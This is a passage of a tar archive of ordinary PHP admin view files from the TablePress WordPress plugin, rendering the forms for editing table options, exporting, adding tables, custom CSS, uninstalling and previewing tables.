<td class="column-2"><label for="option-extra-css-classes"><input type="text" id="option-extra-css-classes" class="large-text" name="table[options][extra_css_classes]" value="<?php echo esc_attr( $options['extra_css_classes'] ); ?>" title="<?php esc_attr_e( 'This field can only contain letters, numbers, spaces, hyphens (-), and underscores (_).', 'tablepress' ); ?>" pattern="[A-Za-z0-9- _]*" /><p class="description"><?php echo __( 'Additional CSS classes for styling purposes can be entered here.', 'tablepress' ) . ' ' . sprintf( __( 'This is NOT the place to enter <a href="%s">Custom CSS</a> code!', 'tablepress' ), TablePress::url( array( 'action' => 'options' ) ) ); ?></p></label></td>
</tr>
</tbody>
</table>
<?php
}
/**
* Print the content of the "Features of the DataTables JavaScript library" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_datatables_features( array $data, array $box ) {
$options = $data['table']['options'];
?>
<p id="notice-datatables-head-row" class="hide-if-js"><?php printf( __( 'These features and options are only available, when the “%1$s” checkbox in the “%2$s” section is checked.', 'tablepress' ), __( 'Table Head Row', 'tablepress' ), __( 'Table Options', 'tablepress' ) ); ?></p>
<table class="tablepress-postbox-table fixed">
<tbody>
<tr class="bottom-border">
<th class="column-1" scope="row"><?php _e( 'Use DataTables', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-use-datatables"><input type="checkbox" id="option-use-datatables" name="table[options][use_datatables]" value="true"<?php checked( $options['use_datatables'] ); ?> /> <?php _e( 'Use the following features of the DataTables JavaScript library with this table:', 'tablepress' ); ?></label></td>
</tr>
<tr class="top-border">
<th class="column-1" scope="row"><?php _e( 'Sorting', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-datatables-sort"><input type="checkbox" id="option-datatables-sort" name="table[options][datatables_sort]" value="true"<?php checked( $options['datatables_sort'] ); ?> /> <?php _e( 'Enable sorting of the table by the visitor.', 'tablepress' ); ?></label></td>
</tr>
<tr>
<th class="column-1" scope="row"><?php _e( 'Search/Filtering', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-datatables-filter"><input type="checkbox" id="option-datatables-filter" name="table[options][datatables_filter]" value="true"<?php checked( $options['datatables_filter'] ); ?> /> <?php _e( 'Enable the visitor to filter or search the table. Only rows with the search word in them are shown.', 'tablepress' ); ?></label></td>
</tr>
<tr>
<th class="column-1" scope="row" style="vertical-align: top;"><?php _e( 'Pagination', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-datatables-paginate"><input type="checkbox" id="option-datatables-paginate" name="table[options][datatables_paginate]" value="true"<?php checked( $options['datatables_paginate'] ); ?> /> <?php _e( 'Enable pagination of the table (viewing only a certain number of rows at a time) by the visitor.', 'tablepress' ); ?></label><br />
<label for="option-datatables-paginate_entries" class="checkbox-left"><?php printf( __( 'Show %s rows per page.', 'tablepress' ), '<input type="number" id="option-datatables-paginate_entries" name="table[options][datatables_paginate_entries]" value="' . intval( $options['datatables_paginate_entries'] ) . '" min="1" max="99999" maxlength="5" required />' ); ?></label></td>
</tr>
<tr>
<th class="column-1" scope="row"><?php _e( 'Pagination Length Change', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-datatables-lengthchange"><input type="checkbox" id="option-datatables-lengthchange" name="table[options][datatables_lengthchange]" value="true"<?php checked( $options['datatables_lengthchange'] ); ?> /> <?php _e( 'Allow the visitor to change the number of rows shown when using pagination.', 'tablepress' ); ?></label></td>
</tr>
<tr>
<th class="column-1" scope="row"><?php _e( 'Info', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-datatables-info"><input type="checkbox" id="option-datatables-info" name="table[options][datatables_info]" value="true"<?php checked( $options['datatables_info'] ); ?> /> <?php _e( 'Enable the table information display, with information about the currently visible data, like the number of rows.', 'tablepress' ); ?></label></td>
</tr>
<tr<?php echo current_user_can( 'unfiltered_html' ) ? ' class="bottom-border"' : ''; ?>>
<th class="column-1" scope="row"><?php _e( 'Horizontal Scrolling', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-datatables-scrollx"><input type="checkbox" id="option-datatables-scrollx" name="table[options][datatables_scrollx]" value="true"<?php checked( $options['datatables_scrollx'] ); ?> /> <?php _e( 'Enable horizontal scrolling, to make viewing tables with many columns easier.', 'tablepress' ); ?></label></td>
</tr>
<?php
// "Custom Commands" must only be available to trusted users. The text field must be in the page however, so that it's part of the HTTP POST request.
?>
<tr class="<?php echo current_user_can( 'unfiltered_html' ) ? 'top-border' : 'hidden'; ?>">
<th class="column-1" scope="row"><?php _e( 'Custom Commands', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="option-datatables-custom-commands"><textarea id="option-datatables-custom-commands" class="large-text" name="table[options][datatables_custom_commands]" rows="1"><?php echo esc_textarea( $options['datatables_custom_commands'] ); ?></textarea><p class="description"><?php echo sprintf( __( 'Additional parameters from the <a href="%s">DataTables documentation</a> to be added to the JS call.', 'tablepress' ), 'https://www.datatables.net/' ) . ' ' . __( 'For advanced use only.', 'tablepress' ); ?></p></label></td>
</tr>
</tbody>
</table>
<?php
}
/**
* Print a notification about a corrupted table.
*
* @since 1.4.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_corrupted_table( array $data, array $box ) {
?>
<div class="error">
<p><strong><?php _e( 'Attention: Unfortunately, an error occurred.', 'tablepress' ); ?></strong></p>
<p>
<?php
printf( __( 'The internal data of table “%1$s” (ID %2$s) is corrupted.', 'tablepress' ), esc_html( $data['table']['name'] ), esc_html( $data['table']['id'] ) );
echo ' ';
printf( __( 'The following error was registered: %s.', 'tablepress' ), '<code>' . esc_html( $data['table']['json_error'] ) . '</code>' );
?>
</p>
<p>
<?php
_e( 'Because of this error, the table can not be edited at this time, to prevent possible further data loss.', 'tablepress' );
echo ' ';
printf( __( 'Please see the <a href="%s">TablePress FAQ page</a> for further instructions.', 'tablepress' ), 'https://tablepress.org/faq/corrupted-tables/' );
?>
</p>
<p>
<?php
echo '<a href="' . TablePress::url( array( 'action' => 'list' ) ) . '" class="button">' . __( 'Back to the List of Tables', 'tablepress' ) . '</a>';
?>
</p>
</div>
<?php
}
/**
* Print the screen head text.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_head( array $data, array $box ) {
?>
<p>
<?php printf( __( 'On this screen, you can edit the content and structure of the table with the ID %s.', 'tablepress' ), esc_html( $data['table']['id'] ) ); ?>
<?php _e( 'For example, you can insert things like text, images, or links into the table, or change the used table features. You can also insert, delete, move, hide, and swap columns and rows.', 'tablepress' ); ?>
</p>
<p>
<label class="screen-reader-only" for="table-shortcode-inline"><?php esc_html_e( 'Shortcode text for editor', 'tablepress' ); ?></label>
<?php printf( __( 'To insert the table into a page, post, or text widget, copy the Shortcode %s and paste it at the desired place in the editor.', 'tablepress' ), '<input type="text" id="table-shortcode-inline" class="table-shortcode table-shortcode-inline" value="' . esc_attr( '[' . TablePress::$shortcode . " id={$data['table']['id']} /]" ) . '" readonly="readonly" />' ); ?>
</p>
<?php
}
/**
* Set the content for the WP feature pointer about the drag and drop and sort on the "Edit" screen.
*
* @since 1.0.0
*/
public function wp_pointer_tp09_edit_drag_drop_sort() {
$content = '<h3>' . __( 'TablePress Feature: Moving rows and columns', 'tablepress' ) . '</h3>';
$content .= '<p>' . __( 'Did you know? You can drag and drop rows and columns via the row number and the column title. And the arrows next to the column title can be used for sorting.', 'tablepress' ) . '</p>';
$this->admin_page->print_wp_pointer_js( 'tp09_edit_drag_drop_sort', '#edit-form-head', array(
'content' => $content,
'position' => array( 'edge' => 'top', 'align' => 'left', 'offset' => '56 2' ),
) );
}
} // class TablePress_Edit_View
view-options_custom_css.php 0000666 00000011415 15112402147 0012165 0 ustar 00 <?php
/**
* Plugin Options/Save Custom CSS Credentials Form View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* Plugin Options/Save Custom CSS Credentials Form View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_Options_Custom_CSS_View extends TablePress_View {
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
// Set action manually here, to get correct page title and nav bar entries.
$this->action = 'options';
$this->data = $data;
// Set page title.
$GLOBALS['title'] = sprintf( __( '%1$s ‹ %2$s', 'tablepress' ), $this->data['view_actions'][ $this->action ]['page_title'], 'TablePress' );
$this->add_header_message( '<strong>' . __( 'Attention: Further action is required to save the changes to your “Custom CSS”!', 'tablepress' ) . '</strong>', 'notice-success' );
// Admin page helpers, like script/style loading, could be moved to view.
$this->admin_page = TablePress::load_class( 'TablePress_Admin_Page', 'class-admin-page-helper.php', 'classes' );
$this->admin_page->enqueue_style( 'common' );
$this->admin_page->add_admin_footer_text();
$this->add_text_box( 'explanation-text', array( $this, 'textbox_explanation_text' ), 'normal' );
$this->add_text_box( 'credentials-form', array( $this, 'textbox_credentials_form' ), 'normal' );
$this->add_text_box( 'proceed-no-file-saving', array( $this, 'textbox_proceed_no_file_saving' ), 'submit' );
}
/**
* Render the current view (in this view: without form tag).
*
* @since 1.0.0
*/
public function render() {
?>
<div id="tablepress-page" class="wrap">
<?php
$this->print_nav_tab_menu();
// Print all header messages.
foreach ( $this->header_messages as $message ) {
echo $message;
}
$this->do_text_boxes( 'header' );
?>
<div id="poststuff">
<div id="post-body" class="metabox-holder columns-<?php echo ( isset( $GLOBALS['screen_layout_columns'] ) && ( 2 === $GLOBALS['screen_layout_columns'] ) ) ? '2' : '1'; ?>">
<div id="postbox-container-2" class="postbox-container">
<?php
$this->do_text_boxes( 'normal' );
$this->do_meta_boxes( 'normal' );
$this->do_text_boxes( 'additional' );
$this->do_meta_boxes( 'additional' );
// Print all submit buttons.
$this->do_text_boxes( 'submit' );
?>
</div>
<div id="postbox-container-1" class="postbox-container">
<?php
// Print all boxes in the sidebar.
$this->do_text_boxes( 'side' );
$this->do_meta_boxes( 'side' );
?>
</div>
</div>
<br class="clear" />
</div>
</div>
<?php
}
/**
* Print the content of the "Explanation" text box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_explanation_text( array $data, array $box ) {
?>
<p>
<?php _e( 'Due to the configuration of your server, TablePress was not able to automatically save your “Custom CSS” to a file.', 'tablepress' ); ?>
<?php printf( __( 'To try again with the same method that you use for updating plugins or themes, please fill out the “%s” form below.', 'tablepress' ), __( 'Connection Information', 'default' ) ); ?>
</p>
<?php
}
/**
* Print the content of the "Credentials" text box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_credentials_form( array $data, array $box ) {
echo $data['credentials_form'];
}
/**
* Print the content of the "Cancel Saving" text box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_proceed_no_file_saving( array $data, array $box ) {
?>
<h2><?php _e( 'Proceed without saving a file', 'tablepress' ); ?></h2>
<p>
<?php _e( 'To proceed without trying to save the “Custom CSS” to a file, click the button below.', 'tablepress' ); ?>
<?php _e( 'Your “Custom CSS” will then be loaded inline.', 'tablepress' ); ?>
</p><p>
<a href="<?php echo TablePress::url( array( 'action' => 'options', 'message' => 'success_save_error_custom_css' ) ); ?>" class="button button-large"><?php _e( 'Proceed without saving “Custom CSS” to a file', 'tablepress' ); ?></a>
</p>
<?php
}
} // class TablePress_Options_Custom_CSS_View
view-export.php 0000666 00000016334 15112402147 0007556 0 ustar 00 <?php
/**
* Export Table View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* Export Table View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_Export_View extends TablePress_View {
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
parent::setup( $action, $data );
$this->process_action_messages( array(
'error_export' => __( 'Error: The export failed.', 'tablepress' ),
'error_load_table' => __( 'Error: This table could not be loaded!', 'tablepress' ),
'error_table_corrupted' => __( 'Error: The internal data of this table is corrupted!', 'tablepress' ),
'error_create_zip_file' => __( 'Error: The ZIP file could not be created.', 'tablepress' ),
) );
$this->add_text_box( 'head', array( $this, 'textbox_head' ), 'normal' );
if ( 0 === $data['tables_count'] ) {
$this->add_meta_box( 'no-tables', __( 'Export Tables', 'tablepress' ), array( $this, 'postbox_no_tables' ), 'normal' );
} else {
$this->admin_page->enqueue_script( 'export', array( 'jquery-core' ) );
$this->add_meta_box( 'export-form', __( 'Export Tables', 'tablepress' ), array( $this, 'postbox_export_form' ), 'normal' );
$this->data['submit_button_caption'] = _x( 'Download Export File', 'button', 'tablepress' );
$this->add_text_box( 'submit', array( $this, 'textbox_submit_button' ), 'submit' );
}
}
/**
* Print the screen head text.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_head( array $data, array $box ) {
?>
<p>
<?php _e( 'Exporting a table allows you to use it in other programs, like spreadsheets applications.', 'tablepress' ); ?>
<?php _e( 'Regularly exporting tables is also recommended as a backup of your data.', 'tablepress' ); ?>
</p>
<p>
<?php _e( 'To export, select the tables and the desired export format.', 'tablepress' ); ?>
<?php _e( 'If you choose more than one table, the exported files will automatically be stored in a ZIP archive file.', 'tablepress' ); ?>
<br />
<?php _e( 'Be aware that for the CSV and HTML formats only the table data, but no table options are exported!', 'tablepress' ); ?>
<?php _e( 'For the JSON format, the table data and the table options are exported.', 'tablepress' ); ?>
</p>
<?php
}
/**
* Print the content of the "No tables found" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_no_tables( array $data, array $box ) {
$add_url = TablePress::url( array( 'action' => 'add' ) );
$import_url = TablePress::url( array( 'action' => 'import' ) );
?>
<p><?php _e( 'No tables found.', 'tablepress' ); ?></p>
<p><?php printf( __( 'You should <a href="%1$s">add</a> or <a href="%2$s">import</a> a table to get started!', 'tablepress' ), $add_url, $import_url ); ?></p>
<?php
}
/**
* Print the content of the "Export Tables" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_export_form( array $data, array $box ) {
?>
<table class="tablepress-postbox-table fixed">
<tbody>
<tr>
<th class="column-1 top-align" scope="row">
<label for="tables-export"><?php _e( 'Tables to Export', 'tablepress' ); ?>:</label>
<?php
if ( $data['zip_support_available'] ) {
echo '<br /><br /><label for="tables-export-select-all"><input type="checkbox" id="tables-export-select-all"> ' . __( 'Select all', 'tablepress' ) . '</label>';
}
?>
</th>
<td class="column-2">
<input type="hidden" name="export[tables_list]" id="tables-export-list" value="" />
<?php
$select_size = $data['tables_count'] + 1; // to show at least one empty row in the select
$select_size = max( $select_size, 3 );
$select_size = min( $select_size, 12 );
$size_multiple = ( $data['zip_support_available'] ) ? " size=\"{$select_size}\" multiple=\"multiple\"" : '';
?>
<select id="tables-export" name="export[tables][]"<?php echo $size_multiple; ?>>
<?php
foreach ( $data['table_ids'] as $table_id ) {
// Load table, without table data, options, and visibility settings.
$table = TablePress::$model_table->load( $table_id, false, false );
if ( ! current_user_can( 'tablepress_export_table', $table['id'] ) ) {
continue;
}
if ( '' === trim( $table['name'] ) ) {
$table['name'] = __( '(no name)', 'tablepress' );
}
$text = esc_html( sprintf( __( 'ID %1$s: %2$s', 'tablepress' ), $table['id'], $table['name'] ) );
$selected = selected( true, in_array( $table['id'], $data['export_ids'], true ), false );
echo "<option{$selected} value=\"{$table['id']}\">{$text}</option>";
}
?>
</select>
<?php
if ( $data['zip_support_available'] ) {
echo '<br /><span class="description">' . __( 'You can select multiple tables by holding down the “Ctrl” key (Windows) or the “Command” key (Mac).', 'tablepress' ) . '</span>';
}
?>
</td>
</tr>
<tr>
<th class="column-1" scope="row"><label for="tables-export-format"><?php _e( 'Export Format', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<select id="tables-export-format" name="export[format]">
<?php
foreach ( $data['export_formats'] as $format => $name ) {
$selected = selected( $format, $data['export_format'], false );
echo "<option{$selected} value=\"{$format}\">{$name}</option>";
}
?>
</select>
</td>
</tr>
<tr>
<th class="column-1" scope="row"><label for="tables-export-csv-delimiter"><?php _e( 'CSV Delimiter', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<select id="tables-export-csv-delimiter" name="export[csv_delimiter]">
<?php
foreach ( $data['csv_delimiters'] as $delimiter => $name ) {
$selected = selected( $delimiter, $data['csv_delimiter'], false );
echo "<option{$selected} value=\"{$delimiter}\">{$name}</option>";
}
?>
</select> <span id="tables-export-csv-delimiter-description" class="description hide-if-js"><?php _e( '(Only needed for CSV export.)', 'tablepress' ); ?></span>
</td>
</tr>
<tr>
<th class="column-1" scope="row"><?php _e( 'ZIP file', 'tablepress' ); ?>:</th>
<td class="column-2">
<?php
if ( $data['zip_support_available'] ) {
?>
<input type="checkbox" id="tables-export-zip-file" name="export[zip_file]" value="true" />
<label for="tables-export-zip-file"><?php _e( 'Create a ZIP archive.', 'tablepress' ); ?> <span id="tables-export-zip-file-description" class="description hide-if-js"><?php _e( '(Mandatory if more than one table is selected.)', 'tablepress' ); ?></span></label>
<?php
} else {
_e( 'Note: Support for ZIP file creation seems not to be available on this server.', 'tablepress' );
}
?>
</td>
</tr>
</tbody>
</table>
<?php
}
} // class TablePress_Export_View
view-add.php 0000666 00000007501 15112402147 0006761 0 ustar 00 <?php
/**
* Add Table View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* Add Table View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_Add_View extends TablePress_View {
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
parent::setup( $action, $data );
$this->admin_page->enqueue_script( 'add', array( 'jquery-core' ) );
$this->process_action_messages( array(
'error_add' => __( 'Error: The table could not be added.', 'tablepress' ),
) );
$this->add_text_box( 'head', array( $this, 'textbox_head' ), 'normal' );
$this->add_meta_box( 'add-table', __( 'Add New Table', 'tablepress' ), array( $this, 'postbox_add_table' ), 'normal' );
$this->data['submit_button_caption'] = __( 'Add Table', 'tablepress' );
$this->add_text_box( 'submit', array( $this, 'textbox_submit_button' ), 'submit' );
}
/**
* Print the screen head text.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_head( array $data, array $box ) {
?>
<p>
<?php _e( 'To add a new table, enter its name, a description (optional), and the number of rows and columns into the form below.', 'tablepress' ); ?>
</p>
<p>
<?php _e( 'You can always change the name, description, and size of your table later.', 'tablepress' ); ?>
</p>
<?php
}
/**
* Print the content of the "Add New Table" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_add_table( array $data, array $box ) {
?>
<div class="form-wrap">
<div class="form-field">
<label for="table-name"><?php _e( 'Table Name', 'tablepress' ); ?>:</label>
<input type="text" name="table[name]" id="table-name" class="placeholder placeholder-active" value="<?php esc_attr_e( 'Enter Table Name here', 'tablepress' ); ?>" />
<p><?php _e( 'The name or title of your table.', 'tablepress' ); ?></p>
</div>
<div class="form-field">
<label for="table-description"><?php _e( 'Description', 'tablepress' ); ?> <?php _e( '(optional)', 'tablepress' ); ?>:</label>
<textarea name="table[description]" id="table-description" class="placeholder placeholder-active" rows="4"><?php echo esc_textarea( __( 'Enter Description here', 'tablepress' ) ); ?></textarea>
<p><?php _e( 'A description of the contents of your table.', 'tablepress' ); ?></p>
</div>
<div class="form-field form-required form-field-numbers-only form-field-small">
<label for="table-rows"><?php _e( 'Number of Rows', 'tablepress' ); ?>:</label>
<input type="number" name="table[rows]" id="table-rows" title="<?php esc_attr_e( 'This field must contain a positive number.', 'tablepress' ); ?>" value="5" min="1" max="99999" maxlength="5" required />
<p><?php _e( 'The number of rows in your table.', 'tablepress' ); ?></p>
</div>
<div class="form-field form-required form-field-numbers-only form-field-small">
<label for="table-columns"><?php _e( 'Number of Columns', 'tablepress' ); ?>:</label>
<input type="number" name="table[columns]" id="table-columns" title="<?php esc_attr_e( 'This field must contain a positive number.', 'tablepress' ); ?>" value="5" min="1" max="99999" maxlength="5" required />
<p><?php _e( 'The number of columns in your table.', 'tablepress' ); ?></p>
</div>
<div class="clear"></div>
</div>
<?php
}
} // class TablePress_Add_View
view-options.php 0000666 00000020710 15112402147 0007721 0 ustar 00 <?php
/**
* Plugin Options View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* Plugin Options View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_Options_View extends TablePress_View {
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
parent::setup( $action, $data );
// Enqueue WordPress copy of CodeMirror, with CSS linting, etc.
$codemirror_settings = wp_enqueue_code_editor( array( 'type' => 'text/css' ) );
if ( ! empty( $codemirror_settings ) ) {
// Load CSS adjustments for CodeMirror and the added vertical resizing.
$this->admin_page->enqueue_style( 'codemirror', array( 'code-editor' ) );
$this->admin_page->enqueue_script( 'codemirror', array( 'jquery-core', 'jquery-ui-resizable' ), array(
'codemirror_settings' => $codemirror_settings,
) );
}
$this->admin_page->enqueue_script( 'options', array( 'jquery-core' ), array(
'strings' => array(
'uninstall_warning_1' => __( 'Do you really want to uninstall TablePress and delete ALL data?', 'tablepress' ),
'uninstall_warning_2' => __( 'Are you really sure?', 'tablepress' ),
)
) );
$this->process_action_messages( array(
'success_save' => __( 'Options saved successfully.', 'tablepress' ),
'success_save_error_custom_css' => __( 'Options saved successfully, but “Custom CSS” was not saved to file.', 'tablepress' ),
'error_save' => __( 'Error: Options could not be saved.', 'tablepress' ),
'success_import_wp_table_reloaded' => __( 'The WP-Table Reloaded “Custom CSS” was imported successfully.', 'tablepress' ),
) );
$this->add_text_box( 'head', array( $this, 'textbox_head' ), 'normal' );
if ( current_user_can( 'tablepress_edit_options' ) ) {
$this->add_meta_box( 'frontend-options', __( 'Frontend Options', 'tablepress' ), array( $this, 'postbox_frontend_options' ), 'normal' );
}
$this->add_meta_box( 'user-options', __( 'User Options', 'tablepress' ), array( $this, 'postbox_user_options' ), 'normal' );
$this->data['submit_button_caption'] = __( 'Save Changes', 'tablepress' );
$this->add_text_box( 'submit', array( $this, 'textbox_submit_button' ), 'submit' );
if ( current_user_can( 'deactivate_plugin', TABLEPRESS_BASENAME ) && current_user_can( 'tablepress_edit_options' ) && current_user_can( 'tablepress_delete_tables' ) && ! is_plugin_active_for_network( TABLEPRESS_BASENAME ) ) {
$this->add_text_box( 'uninstall-tablepress', array( $this, 'textbox_uninstall_tablepress' ), 'submit' );
}
}
/**
* Print the screen head text.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_head( array $data, array $box ) {
?>
<p>
<?php _e( 'TablePress has several options which affect the plugin’s behavior in different areas.', 'tablepress' ); ?>
</p>
<p>
<?php
if ( current_user_can( 'tablepress_edit_options' ) ) {
_e( 'Frontend Options influence the styling of tables in pages, posts, or text widgets, by defining which CSS code shall be loaded.', 'tablepress' );
echo '<br />';
}
_e( 'In the User Options, every TablePress user can choose the position of the plugin in his WordPress admin menu.', 'tablepress' );
?>
</p>
<?php
}
/**
* Print the content of the "Frontend Options" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_frontend_options( array $data, array $box ) {
?>
<table class="tablepress-postbox-table fixed">
<tbody>
<tr>
<th class="column-1" scope="row"><label for="option-custom-css"><?php _e( 'Custom CSS', 'tablepress' ); ?></label>:</th>
<td class="column-2"><label for="option-use-custom-css"><input type="checkbox" id="option-use-custom-css" name="options[use_custom_css]" value="true"<?php checked( $data['frontend_options']['use_custom_css'] ); ?> /> <?php _e( 'Load these “Custom CSS” commands to influence the table styling:', 'tablepress' ); ?></label>
</td>
</tr>
<tr>
<td class="column-1"></td>
<td class="column-2">
<textarea name="options[custom_css]" id="option-custom-css" class="large-text" rows="8"><?php echo esc_textarea( $data['frontend_options']['custom_css'] ); ?></textarea>
<p class="description">
<?php
printf( __( '“Custom CSS” (<a href="%s">Cascading Style Sheets</a>) can be used to change the styling or layout of a table.', 'tablepress' ), 'https://www.htmldog.com/guides/css/beginner/' );
echo ' ';
printf( __( 'You can get styling examples from the <a href="%s">FAQ</a>.', 'tablepress' ), 'https://tablepress.org/faq/' );
echo ' ';
printf( __( 'Information on available CSS selectors can be found in the <a href="%s">documentation</a>.', 'tablepress' ), 'https://tablepress.org/documentation/' );
echo ' ';
_e( 'Please note that invalid CSS code will be stripped, if it can not be corrected automatically.', 'tablepress' );
?>
</p>
</td>
</tr>
</tbody>
</table>
<?php
}
/**
* Print the content of the "User Options" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_user_options( array $data, array $box ) {
?>
<table class="tablepress-postbox-table fixed">
<tbody>
<?php
// Get list of current admin menu entries.
$entries = array();
foreach ( $GLOBALS['menu'] as $entry ) {
if ( false !== strpos( $entry[2], '.php' ) ) {
$entries[ $entry[2] ] = $entry[0];
}
}
// Remove <span> elements with notification bubbles (e.g. update or comment count).
if ( isset( $entries['plugins.php'] ) ) {
$entries['plugins.php'] = preg_replace( '/ <span.*span>/', '', $entries['plugins.php'] );
}
if ( isset( $entries['edit-comments.php'] ) ) {
$entries['edit-comments.php'] = preg_replace( '/ <span.*span>/', '', $entries['edit-comments.php'] );
}
// Add separator and generic positions.
$entries['-'] = '---';
$entries['top'] = __( 'Top-Level (top)', 'tablepress' );
$entries['middle'] = __( 'Top-Level (middle)', 'tablepress' );
$entries['bottom'] = __( 'Top-Level (bottom)', 'tablepress' );
$select_box = '<select id="option-admin-menu-parent-page" name="options[admin_menu_parent_page]">' . "\n";
foreach ( $entries as $page => $entry ) {
$select_box .= '<option' . selected( $page, $data['user_options']['parent_page'], false ) . disabled( $page, '-', false ) . ' value="' . $page . '">' . $entry . "</option>\n";
}
$select_box .= "</select>\n";
?>
<tr>
<th class="column-1" scope="row"><label for="option-admin-menu-parent-page"><?php _e( 'Admin menu entry', 'tablepress' ); ?>:</label></th>
<td class="column-2"><?php printf( __( 'TablePress shall be shown in this section of my admin menu: %s', 'tablepress' ), $select_box ); ?></td>
</tr>
</tbody>
</table>
<?php
}
/**
* Print the content of the "Admin Options" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_uninstall_tablepress( array $data, array $box ) {
?>
<h1 style="margin-top:40px;"><?php _e( 'Uninstall TablePress', 'tablepress' ); ?></h1>
<p>
<?php
echo __( 'Uninstalling <strong>will permanently delete</strong> all TablePress tables and options from the database.', 'tablepress' ) . '<br />'
. __( 'It is recommended that you create a backup of the tables (by exporting the tables in the JSON format), in case you later change your mind.', 'tablepress' ) . '<br />'
. __( 'You will manually need to remove the plugin’s files from the plugin folder afterwards.', 'tablepress' ) . '<br />'
. __( 'Be very careful with this and only click the button if you know what you are doing!', 'tablepress' );
?>
</p>
<p><a href="<?php echo TablePress::url( array( 'action' => 'uninstall_tablepress' ), true, 'admin-post.php' ); ?>" id="uninstall-tablepress" class="button"><?php _e( 'Uninstall TablePress', 'tablepress' ); ?></a></p>
<?php
}
} // class TablePress_Options_View
view-preview_table.php 0000666 00000004017 15112402147 0011060 0 ustar 00 <?php
/**
* Table Preview View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* Table Preview View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_Preview_Table_View extends TablePress_View {
/**
* Initialize the View class.
*
* @since 1.0.0
*/
public function __construct() {
// Intentionally left empty, to void code from parent::__construct().
}
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
$this->action = $action;
$this->data = $data;
}
/**
* Render the current view.
*
* @since 1.0.0
*/
public function render() {
_wp_admin_html_begin();
?>
<title><?php printf( __( '%1$s ‹ %2$s', 'tablepress' ), __( 'Preview', 'tablepress' ), 'TablePress' ); ?></title>
<style type="text/css">
body {
margin-top: -6px !important;
}
</style>
<?php echo $this->data['head_html']; ?>
</head>
<body>
<div id="tablepress-page">
<p>
<?php _e( 'This is a preview of your table.', 'tablepress' ); ?> <?php _e( 'Because of CSS styling in your theme, the table might look different on your page!', 'tablepress' ); ?> <?php _e( 'The features of the DataTables JavaScript library are also not available or visible in this preview!', 'tablepress' ); ?><br />
<?php printf( __( 'To insert the table into a page, post, or text widget, copy the Shortcode %s and paste it into the editor.', 'tablepress' ), '<input type="text" class="table-shortcode table-shortcode-inline" value="' . esc_attr( '[' . TablePress::$shortcode . " id={$this->data['table_id']} /]" ) . '" readonly="readonly" />' ); ?>
</p>
<?php echo $this->data['body_html']; ?>
</div>
</body>
</html>
<?php
}
